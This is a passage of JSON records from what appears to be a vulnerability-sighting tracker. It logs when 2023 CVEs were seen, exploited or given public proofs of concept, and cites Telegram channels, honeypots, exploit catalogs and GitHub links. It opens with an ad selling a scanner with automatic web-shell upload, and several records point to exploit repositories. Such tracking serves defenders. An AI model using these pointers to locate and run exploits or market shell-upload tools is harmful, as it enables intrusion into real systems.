Scanner + Auto Upload Shell\n\ud83d\udda5 Added: Cve-2023-3129 Scanner\n\n\ud83d\udcb8 Price: 95$/1.5jt idr\n\n\ud83d\udcdc Note: Open Source Tools Script Lifetime & Free Update\n\n\u2709\ufe0f Contact Person\n\u2708\ufe0f Purchasing\n\u2708\ufe0f Channels", "creation_timestamp": "2024-09-21T06:29:38.000000Z"}, {"uuid": "7d76b896-9476-4fa0-86f8-4fa153c6031e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31717", "type": "seen", "source": "Telegram/lHKFDBRntVLEnzL4VqEuPiY-Vt8pAa9hTd9KwEhxy_XdixQ", "content": "", "creation_timestamp": "2026-08-29T23:00:12.479154Z"}, {"uuid": "64e1534b-521b-41ef-aa7b-16e747d4fa35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-01)", "content": "", "creation_timestamp": "2026-08-02T10:38:32.125836Z"}, {"uuid": "035e56a5-3b16-4afd-92fd-158e482de8a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31717", "type": "seen", "source": "Telegram/lHKFDBRntVLEnzL4VqEuPiY-Vt8pAa9hTd9KwEhxy_XdixQ", "content": "", "creation_timestamp": "2026-08-30T00:00:13.147166Z"}, {"uuid": "e675b180-a34f-43c4-8b6a-cdd1dc30eeab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31248", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3977", "content": "nftables Adventures: Bug Hunting and N-day Exploitation (CVE-2023-31248) https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation/", "creation_timestamp": "2026-08-02T11:19:34.489927Z"}, {"uuid": "9ec4776b-480e-4972-99f2-3a111ddecea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31433", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/12034", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31433*\nGithub: https://github.com/trustcves/CVE-2023-31433", "creation_timestamp": "2026-08-01T00:00:45.370202Z"}, {"uuid": "aa72c51d-241c-4a28-832e-aa363dceca0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31435", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/12033", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31435*\nGithub: https://github.com/trustcves/CVE-2023-31435", "creation_timestamp": "2026-08-01T00:00:45.408539Z"}, {"uuid": "1815efc7-b59b-45ee-9185-a232f37fd027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31445", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/11757", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31445-Unprivileged-Information-Disclosure*\nGithub: https://github.com/Dodge-MPTC/CVE-2023-31445-Unprivileged-Information-Disclosure", "creation_timestamp": "2026-08-01T00:00:44.235532Z"}, {"uuid": "4ea64194-3a1b-454e-a052-fe5a9d398424", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31443", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/11777", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31443*\nGithub: https://github.com/MaherAzzouzi/CVE-2023-31443", "creation_timestamp": "2026-08-01T00:00:44.416897Z"}, {"uuid": "40d51c71-1e29-445f-82cd-79a6ce5dbe78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31434", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/12035", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2023\nName: *CVE-2023-31434*\nGithub: https://github.com/trustcves/CVE-2023-31434", "creation_timestamp": "2026-08-01T00:00:45.523157Z"}, {"uuid": "abae50e7-eccc-4fde-8cb3-3df3610764fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31465", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-15)", "content": "", "creation_timestamp": "2026-05-15T00:00:00.000000Z"}, {"uuid": "92def7fd-9b34-497d-9c61-39c6c787836c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31248", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3583", "content": "CVE-2023-31248 PoC  https://github.com/kungfulon/nf-tables-lpe/tree/master/chain-active", "creation_timestamp": "2026-08-02T16:02:13.702882Z"}, {"uuid": "ff39771d-312d-4cb8-ac9c-d898dbd4037f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31070", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3432", "content": "CVE-2023-31070 Broadcom BCM47xx SDK EMF slab-out-of-bounds write - the uncomfortable reality of the IoT Linux kernel space https://bugprove.com/knowledge-hub/cve-2023-31070-broadcom-bcm-47xx-sdk-emf-slab-out-of-bounds-write/", "creation_timestamp": "2026-08-02T17:00:04.907093Z"}, {"uuid": "f917176b-3ea0-450d-a743-44233b930372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31902", "type": "published-proof-of-concept", "source": "Telegram/r4YAq9sqiCZdls8-ldA7XAIZMKynCRrGuzy5h6EQSIOA624", "content": "", "creation_timestamp": "2026-08-05T00:00:47.642499Z"}, {"uuid": "435f5c1b-ff3f-47d0-bd9e-e39401c47faf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31902", "type": "published-proof-of-concept", "source": "Telegram/BFn73ye4I22p3l9ZSU-7kwmDMvPC8gRVocVjRqoCFg71Nis", "content": "", "creation_timestamp": "2026-08-05T00:00:51.260969Z"}, {"uuid": "49bb3072-c8c5-4151-a929-55b8b7f54e97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-3128", "type": "published-proof-of-concept", "source": "https://github.com/grafana/bugbounty/security/advisories/GHSA-gxh2-6vvc-rrgp", "content": "", "creation_timestamp": "2023-07-06T08:19:47.000000Z"}, {"uuid": "180e5497-1a3e-40b6-8f54-3551e2e21bb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31014", "type": "seen", "source": "Telegram/wDwm6-AY-JX6nhNni9OQWjE6Au1_mqn06OkP8toYPUyKP30", "content": "", "creation_timestamp": "2026-08-12T08:00:05.921597Z"}, {"uuid": "cd44941e-f1f8-4b39-af73-5387897f02b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-19)", "content": "", "creation_timestamp": "2026-08-20T10:15:18.397365Z"}, {"uuid": "f6483d43-85f6-47fe-9a10-c486952f24f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-29)", "content": "", "creation_timestamp": "2026-05-29T00:00:00.000000Z"}, {"uuid": "9a7bb968-9d4a-42df-9067-ffd0c2b9db97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-14)", "content": "", "creation_timestamp": "2026-06-14T00:00:00.000000Z"}, {"uuid": "f5ec3198-12fc-4228-adfa-271927844e05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31059", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-15)", "content": "", "creation_timestamp": "2026-06-15T00:00:00.000000Z"}, {"uuid": "091e7373-65d8-4e0c-8194-db84b8c17d67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-17)", "content": "", "creation_timestamp": "2026-06-17T00:00:00.000000Z"}, {"uuid": "bcc3b9f3-981f-4ad6-a39d-1bb567e584a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-18)", "content": "", "creation_timestamp": "2026-06-18T00:00:00.000000Z"}, {"uuid": "5a459c9f-68d3-4b40-a84b-880375693de4", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31059", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/a633096d-0919-4a28-b277-35c225cab5dc", "content": "", "creation_timestamp": "2026-06-19T12:45:06.412620Z"}, {"uuid": "632847f9-8993-45c1-bbc2-80f6c85c4c8f", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4c2540db-7c41-4929-803a-7e939f8793a5", "content": "", "creation_timestamp": "2026-06-19T12:46:02.369225Z"}, {"uuid": "ef23c5c2-70f1-4d92-a5d1-947a2f762527", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f605995f-87ec-43fb-a3b5-ee9358ee84b9", "content": "", "creation_timestamp": "2026-06-19T12:46:01.477906Z"}, {"uuid": "cfe0f9cf-32c3-4393-9865-43ef2cb6a2fa", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31465", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b8dfb9c0-6548-4a19-9f19-29f5de653795", "content": "", "creation_timestamp": "2026-06-19T12:46:01.907963Z"}, {"uuid": "ef1f87cf-2983-4430-be1e-4ad61dc06d3b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31418", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/2d05b208-6341-4559-be87-023836f6f5b7", "content": "", "creation_timestamp": "2026-06-19T12:46:46.817170Z"}, {"uuid": "0aa89b79-d163-4bd0-a8e9-bd2d4ea255d9", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3162", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5caddafb-1bed-4653-8d72-68bf5eb71551", "content": "", "creation_timestamp": "2026-06-19T12:46:50.763482Z"}, {"uuid": "6d6b2bf6-19b5-47e9-8e2e-e6f532cc3862", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/82fa3706-d736-412c-8b0f-27cbb5929df7", "content": "", "creation_timestamp": "2026-06-19T12:46:55.914225Z"}, {"uuid": "153030be-987a-4b45-88b9-c616193eae1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31014", "type": "published-proof-of-concept", "source": "Telegram/wDwm6-AY-JX6nhNni9OQWjE6Au1_mqn06OkP8toYPUyKP30", "content": "", "creation_timestamp": "2026-08-13T00:00:11.617435Z"}, {"uuid": "bf39d394-110a-4e02-a9df-d4a911568115", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-21)", "content": "", "creation_timestamp": "2026-06-21T00:00:00.000000Z"}, {"uuid": "a4f01217-4a3b-4e52-ac35-d430407a6ba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31222", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3moxjhhsdeo2a", "content": "\ud83d\udccc CVE-2023-31222 - Deserialization of untrusted data\u00a0in Microsoft Messaging Queuing Service in Medtronic's Paceart Optima versions 1.11 and earlier on Windows allows an ... https://www.cyberhub.blog/cves/CVE-2023-31222", "creation_timestamp": "2026-06-23T13:37:07.290893Z"}, {"uuid": "47bd1e6d-6c79-4f36-971a-a40533344171", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31059", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3b901bd8-1d55-46c1-9a8b-54f3f09b897e", "content": "", "creation_timestamp": "2026-06-23T14:02:56.292587Z"}, {"uuid": "397946e3-57ec-4778-9c4d-84351f25b63b", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31446", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/130f79fe-831a-409c-91fb-ca567123f8bb", "content": "", "creation_timestamp": "2026-06-23T14:03:24.934355Z"}, {"uuid": "da25869b-a9ca-4989-abc5-2fc4ee955ea4", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31465", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d8e495cf-64cf-44e5-be86-156cbb67fea2", "content": "", "creation_timestamp": "2026-06-23T14:03:25.141103Z"}, {"uuid": "22538f82-b16f-489b-bb02-cc14e6ea2807", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3162", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/60b6a0d2-01d5-4d8a-add3-6cef838fe391", "content": "", "creation_timestamp": "2026-06-23T14:04:04.008651Z"}, {"uuid": "df4925d2-e244-42aa-9a25-f2b6790739e6", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/446a89ce-4e19-4845-9d99-6400e026dac0", "content": "", "creation_timestamp": "2026-06-23T14:03:25.892978Z"}, {"uuid": "f0b1ef24-0bd0-4b90-8a50-363c5a02237e", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-31446", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9d242fe9-e356-4900-b69b-9f0dc0e91bd3", "content": "", "creation_timestamp": "2026-06-30T09:23:16.388887Z"}, {"uuid": "ba5667f4-6f0f-40ae-a94a-a9e27a7c0460", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/2635d3be-5474-46ce-b8e1-85df1ffa1e7b", "content": "", "creation_timestamp": "2026-06-30T09:23:34.815577Z"}, {"uuid": "d97e48bb-304e-4664-a5cc-09cd03acd9d5", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-31059", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3857165e-c4a5-4543-8d62-74c6f8035159", "content": "", "creation_timestamp": "2026-06-30T09:23:07.540351Z"}, {"uuid": "f4b5f934-3e8e-4bc7-a913-63f31aa7132e", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-31465", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/7f926889-572c-4f08-a0bf-23ae4d4b4eaf", "content": "", "creation_timestamp": "2026-06-30T09:23:26.074395Z"}, {"uuid": "691f7208-a317-4090-b764-ac1aafb70d97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3128", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/116838675578498232", "content": "#OT #Advisory VDE-2026-049Balluff GmbH: Multiple Vulnerabilities Affecting BNI EGW-720-007-K095 and BAV MA-NC-00025-01\nSecurity advisory for Balluff BNI EGW-720-007-K095 and BAV MA-NC-00025-01 firmware versions prior to 2.4.1. This advisory covers multiple vulnerabilities affecting software components used by the device firmware.#CVE CVE-2025-68121, CVE-2026-1229, CVE-2025-41115, CVE-2025-15467, CVE-2023-3128, CVE-2022-28660, CVE-2022-26148, CVE-2018-15727, CVE-2020-27846, CVE-2024-9264, CVE-2024-1442, CVE-2022-28391, CVE-2022-24812, CVE-2022-23498, CVE-2022-21703, CVE-2022-31097, CVE-2025-61732, CVE-2025-4674, CVE-2022-29170, CVE-2024-56406\nhttps://certvde.com/en/advisories/vde-2026-049/\n#CSAF https://balluff.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-049.json", "creation_timestamp": "2026-06-30T10:51:46.229197Z"}, {"uuid": "bcbc5b16-61ca-477a-9278-9f465330b033", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-06)", "content": "", "creation_timestamp": "2026-07-07T10:15:12.683049Z"}, {"uuid": "9fa46901-d7b8-4225-9e47-0e0a2751cd5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-09)", "content": "", "creation_timestamp": "2026-07-10T10:00:10.498798Z"}, {"uuid": "3b70cbcb-4be5-44ff-86a5-a7bfffcbbc98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31488", "type": "seen", "source": "https://t.me/GithubRedTeam/92357", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #Remote Code Execution\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cisco-CVE-2023-31488\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ly1g3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 14:00:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEmail to zero-click RCE as root - Remote Code Execution/Memory Corruption/ROP-chain \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:10.315415Z"}, {"uuid": "dd9dc157-192a-4aa5-88c0-143ee753d5e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31488", "type": "seen", "source": "https://t.me/GithubRedTeam/92357", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #Remote Code Execution\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cisco-CVE-2023-31488\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ly1g3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 14:00:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEmail to zero-click RCE as root - Remote Code Execution/Memory Corruption/ROP-chain \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:18.854410Z"}, {"uuid": "ed8589b7-4a01-40bb-bf6d-6db392c663bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31488", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92357", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE #Remote Code Execution\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cisco-CVE-2023-31488\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ly1g3\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 14:00:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEmail to zero-click RCE as root - Remote Code Execution/Memory Corruption/ROP-chain \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:31.309958Z"}, {"uuid": "782d8569-739c-4eec-9cef-de0fc2a5f741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-26)", "content": "", "creation_timestamp": "2026-08-27T10:15:12.594894Z"}, {"uuid": "8a48e23f-d5dd-4711-8f54-709eba56a94f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31488", "type": "seen", "source": "Telegram/HeX7ZwgfClnVMcM_jrebWQOf2GFN8BPONV6LFlglDXbYYrI", "content": "", "creation_timestamp": "2026-07-16T19:00:17.673777Z"}, {"uuid": "706fda14-b73e-4bbf-827b-c5612ceabcee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31488", "type": "seen", "source": "Telegram/HeX7ZwgfClnVMcM_jrebWQOf2GFN8BPONV6LFlglDXbYYrI", "content": "", "creation_timestamp": "2026-07-17T00:00:33.349366Z"}, {"uuid": "57d1ad09-de27-4599-9e6f-6b07cce13a49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31488", "type": "published-proof-of-concept", "source": "Telegram/HeX7ZwgfClnVMcM_jrebWQOf2GFN8BPONV6LFlglDXbYYrI", "content": "", "creation_timestamp": "2026-07-18T00:00:26.360511Z"}, {"uuid": "77151b7c-abc2-49f8-8308-0dc3d0b29fba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31315", "type": "seen", "source": "https://t.me/EchelonEyes/3046", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SinkClose \u0432 \u0441\u043e\u0442\u043d\u044f\u0445 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0447\u0438\u043f\u043e\u0432 AMD \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043d\u0435\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f AMD \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c SinkClose \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u0432 EPYC, Ryzen \u0438 Threadripper. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0443\u0440\u043e\u0432\u043d\u044f \u044f\u0434\u0440\u0430 (Ring 0) \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 Ring 2 \u0438 